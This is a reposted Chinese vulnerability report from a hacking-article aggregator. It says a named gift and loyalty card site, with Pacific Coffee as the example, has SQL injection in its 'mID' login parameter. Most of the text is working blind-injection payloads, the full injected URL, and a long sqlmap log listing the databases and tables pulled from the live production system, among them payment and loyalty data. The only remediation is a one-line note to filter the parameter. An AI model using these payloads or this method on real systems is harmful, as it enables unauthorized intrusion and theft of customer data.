记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

某全球礼物/会员卡网站某站点存在注入漏洞(以太平洋咖啡为例)

2015-11-20 23:50

通过改变命令参数可以对其进行更深入的攻击。

https://www.cardadministration.com/login.jsp?mID=PCC 存在注入漏洞

https://www.cardadministration.com/login.jsp?mID=PCC%27%20AND%204950=4950%20AND%20%27EWau%27=%27EWau
 


Parameter: mID (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mID=PCC' AND 4950=4950 AND 'EWau'='EWau

Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: mID=PCC' AND 1434=DBMS_PIPE.RECEIVE_MESSAGE(CHR(102)||CHR(68)||CHR(67)||CHR(90),5) AND 'oNsE'='oNsE


时间关系只扫描部分库
 


Database: MDSYS
[36 tables]
+--------------------------------+
| OGIS_GEOMETRY_COLUMNS |
| OGIS_SPATIAL_REFERENCE_SYSTEMS |
| SDO_COORD_AXES |
| SDO_COORD_AXIS_NAMES |
| SDO_COORD_OPS |
| SDO_COORD_OP_METHODS |
| SDO_COORD_OP_PARAMS |
| SDO_COORD_OP_PARAM_USE |
| SDO_COORD_OP_PARAM_VALS |
| SDO_COORD_OP_PATHS |
| SDO_COORD_REF_SYS |
| SDO_COORD_SYS |
| SDO_CS_SRS |
| SDO_DATUMS |
| SDO_DATUMS_OLD_SNAPSHOT |
| SDO_ELLIPSOIDS |
| SDO_ELLIPSOIDS_OLD_SNAPSHOT |
| SDO_GEOR_PLUGIN_REGISTRY |
| SDO_GEOR_XMLSCHEMA_TABLE |
| SDO_GR_MOSAIC_0 |
| SDO_GR_MOSAIC_1 |
| SDO_GR_MOSAIC_2 |
| SDO_GR_MOSAIC_3 |
| SDO_GR_RDT_1 |
| SDO_PREFERRED_OPS_SYSTEM |
| SDO_PREFERRED_OPS_USER |
| SDO_PRIME_MERIDIANS |
| SDO_PROJECTIONS_OLD_SNAPSHOT |
| SDO_TOPO_DATA$ |
| SDO_TOPO_RELATION_DATA |
| SDO_TOPO_TRANSACT_DATA |
| SDO_TXN_IDX_DELETES |
| SDO_TXN_IDX_EXP_UPD_RGN |
| SDO_TXN_IDX_INSERTS |
| SDO_UNITS_OF_MEASURE |
| SDO_XML_SCHEMAS |
+--------------------------------+

Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: mID=PCC' AND 4814=4814 AND 'XZzZ'='XZzZ

Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: mID=PCC' AND 1434=DBMS_PIPE.RECEIVE_MESSAGE(CHR(102)||CHR(68)||CHR(67)||CHR(90),5) AND 'oNsE'='oNsE


和部分表


CTXSYS
[11:16:16] [INFO] retrieved: EXFSYS
[11:17:10] [INFO] retrieved: MDSYS
[11:18:02] [INFO] retrieved: OLAPSYhttp://202.77.166.191/eng/index.php?id=1S
[11:19:12] [INFO] retrieved: PAYWARE
[11:20:18] [INFO] retrieved: SYS
[11:20:57] [INFO] retrieved: SYSTEM
[11:22:05] [INFO] retrieved: WMSYS
[11:22:59] [INFO] fetching tables for databases: 'CTXSYS, EXFSYS, MDSYS, OLAPSYS, PAYWARE, SYS, SYSTEM, WMSYS'
[11:22:59] [INFO] fetching number of tables for database 'SYS'
[11:22:59] [INFO] retrieved:
31
[11:23:15] [INFO] retrieved:
DUAL
[11:24:00] [INFO] retrieved: SYSTEM_PRIVILEGE
[11:27:08] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
_MAP
[11:27:40] [INFO] retrieved:
TABLE_PRIVILEGE_MAP
[11:32:07] [INFO] retrieved:
STMT_AUDIT_OPT
[11:35:36] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
ION_MAP
[11:37:59] [INFO] retrieved: AUDIT_ACTIONS
[11:41:51] [INFO] retrieved: AW$AWMD
[11:43:47] [INFO] retrieved: AW$AWCREATE
[11:45:22] [INFO] retrieved: OLAPI_SESSION_HISTORY
[11:49:27] [INFO] retrieved: OLAPI_IFACE_OBJECT_HISTORY
[11:53:14] [INFO] retrieved: OLAP_OLEDB_KEYWORDS
[11:55:25] [INFO] retrieved: OLAP_OLEDB_MDPROPVALS
[11:57:50] [INFO] retrieved: OLAP_OLEDB_MDPROPS
[11:58:25] [INFO] retrieved: OLAP_OLEDB_FUNCTIONS_PVT
[12:01:51] [INFO] retrieved: OLAPI_HISTORY
[12:03:30] [INFO] retrieved: OLAPI_MEMORY_HEAP_HISTORY
[12:07:25] [INFO] retrieved: AW$AWXML
[12:09:00] [INFO] retrieved: OLAPI_IFACE_OP_HISTORY
[12:12:31] [INFO] retrieved: OLAPI_MEMOR
[12:13:55] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
Y_OP_
[12:15:14] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
HISTORY
[12:16:21] [INFO] retrieved:
AW$EXPRESS
[12:17:51] [INFO] retrieved: AW$AWCREATE10G
[12:19:30] [INFO] retrieved: AW$AWREPORT
[12:20:41] [INFO] retrieved: SDO_GEOR_XMLSCHEMA_
[12:25:08] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
TABLE
[12:25:47] [INFO] retrieved: ODCI_SECOBJ$
[12:27:39] [INFO] retrieved: ODCI_WARNINGS$
[12:29:43] [INFO] retrieved: OLAPTABLEVELTUPLES
[12:32:32] [INFO] retrieved: OLAPTABLEVELS
[12:33:03] [INFO] retrieved: PSTUBTBL
[12:34:25] [INFO] retrieved: KU$NOEXP_TAB
[12:36:12] [INFO] retrieved: PLAN_TABLE$
[12:38:58] [INFO] retrieved: IMPDP_STATS
[12:40:51] [INFO] retrieved: WRI$_ADV_ASA_RECO_DATA
[12:43:59] [INFO] fetching number of tables for database 'OLAPSYS'
[12:43:59] [INFO] retrieved: 9
[12:44:07] [INFO] retrieved: XML_LOAD_RECORDS
[12:47:54] [INFO] retrieved: XML_LOAD_LOG
[12:49:03] [INFO] retrieved: OLAP_SESSION_CUBES
[12:52:08] [INFO] retrieved: OLAP_SESSION_
[12:53:09] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
DIMS
[12:54:21] [INFO] retrieved: CWM2$AWCUBECREATEACCESS
[12:57:59] [INFO] retrieved: CWM2$AWDIMCREATEACCESS
[13:00:43] [INFO] retrieved: CWM2$_TEMP_VALUES
[13:02:14] [INFO] retrieved: CWM2$_AW_TEMP_CUST_MEAS_MAP
[13:04:25] [INFO] retrieved: CWM2$_AW_NEXT_TEMP
[13:06:13] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
_CUST_MEA
[13:07:36] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
S
[13:07:49] [INFO] fetching number of tables for database 'SYSTEM'
[13:07:49] [INFO] resumed: 8
[13:07:49] [INFO] resumed: DEF$_TEMP$LOB
[13:07:49] [INFO] resumed: HELP
[13:07:49] [INFO] resumed: MVIEW$_ADV_INDEX
[13:07:49] [INFO] resumed: MVIEW$_ADV_PARTITION
[13:07:49] [INFO] resumed: MVIEW$_ADV_OWB
[13:07:49] [INFO] resumed: OL$NODES
[13:07:49] [INFO] resumed: OL$HINTS
[13:07:49] [INFO] resumed: OL$
[13:07:49] [INFO] fetching number of tables for database 'EXFSYS'
[13:07:49] [INFO] retrieved: 1
[13:08:00] [INFO] retrieved: RLM$PARSEDCOND
[13:10:20] [INFO] fetching number of tables for database 'MDSYS'
[13:10:20] [INFO] retrieved: 36
[13:10:35] [INFO] retrieved: OGIS_SPATIAL_REFERENCE_SYSTEMS
[13:13:51] [INFO] retrieved: OGIS_GEOMETRY_COLUMNS
[13:15:39] [INFO] retrieved: SDO_UNITS_OF_
[13:17:35] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
MEASURE
[13:18:20] [INFO] retrieved: SDO_P
[13:19:05] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
RIME_MERIDIANS
[13:21:19] [INFO] retrieved: SDO_ELLIPSOIDS
[13:22:18] [INFO] retrieved: SDO_DATUMS
[13:22:59] [INFO] retrieved: SDO_COORD_SYS
[13:24:09] [INFO] retrieved: SDO_COORD_AXIS_NAMES
[13:25:33] [INFO] retrieved: SDO_COORD_AXES
[13:26:00] [INFO] retrieved: SDO_COORD_REF_SYS
[13:26:56] [INFO] retrieved: SDO_COORD_OP_METHODS
[13:28:28] [INFO] retrieved: SDO_COORD_OPS
[13:30:07] [INFO] retrieved: SDO_PREFERRED_OPS_SYSTEM
[13:32:52] [INFO] retrieved: SDO_PREFERRED_OPS_USER
[13:33:44] [INFO] retrieved: SDO_COORD_OP_PATHS
[13:35:13] [INFO] retrieved: SDO_COORD_OP_PARAMS
[13:35:53] [INFO] retrieved: SDO_COORD_OP_PARAM_USE
[13:36:41] [INFO] retrieved: SDO_COORD_OP_PARAM_VALS
[13:37:22] [INFO] retrieved: SDO_XML_SCHEMAS
[13:38:59] [INFO] retrieved: SDO_CS_SRS
[13:39:52] [INFO] retrieved: SDO_PROJECTIONS_OLD_SNAPSHOT
[13:43:02] [INFO] retrieved: SDO_ELLIPSOIDS_OLD_SNAPSHOT
[13:45:46] [INFO] retrieved: SDO_DATUMS_OLD_SNAPSHOT
[13:47:51] [INFO] retrieved: SDO_GEOR_XMLSCHEMA_TABLE
[13:50:41] [INFO] retrieved: SDO_GEOR_PLUGIN_REGISTRY
[13:52:38] [INFO] retrieved: SDO_TXN_IDX_EXP_UPD_RGN
[13:54:56] [INFO] retrieved: SDO_TXN_IDX_DELETES
[13:56:30] [INFO] retrieved: SDO_TXN_IDX_INSERTS
[13:57:42] [INFO] retrieved: SDO_GR_RDT_1
[13:59:00] [INFO] retrieved: SDO_GR_MOSAIC_3
[14:00:20] [INFO] retrieved: SDO_GR_MOSAIC_2
[14:00:53] [INFO] retrieved: SDO_GR_MOSAIC_1
[14:01:33] [INFO] retrieved: SDO_GR_MOSAIC_0
[14:02:21] [INFO] retrieved: SDO_TOPO_DATA$
[14:03:48] [INFO] retrieved: SDO_TOPO_RELATION_DATA
[14:06:11] [INFO] retrieved: SDO_TOPO_TRANSACT_DATA
[14:08:25] [INFO] fetching number of tables for database 'PAYWARE'
[14:08:25] [INFO] retrieved: 683
[14:08:47] [INFO] retrieved: VA_LOYALTY_DAILY_TXN_20141113
[14:13:45] [INFO] retrieved: VA_SPEND_INCENTIVE_D
[14:16:50] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
ET
[14:17:03] [INFO] retrieved: VA_ESPN_ITP_EXCEPTION

 

 

DATABASES.png




 

ADMIN.png

 

解决方案:

ID参数进行检查并且进行过滤


知识来源: www.2cto.com/Article/201511/450787.html

阅读:229106 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“某全球礼物/会员卡网站某站点存在注入漏洞(以太平洋咖啡为例)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

求赞助求支持💖

标签云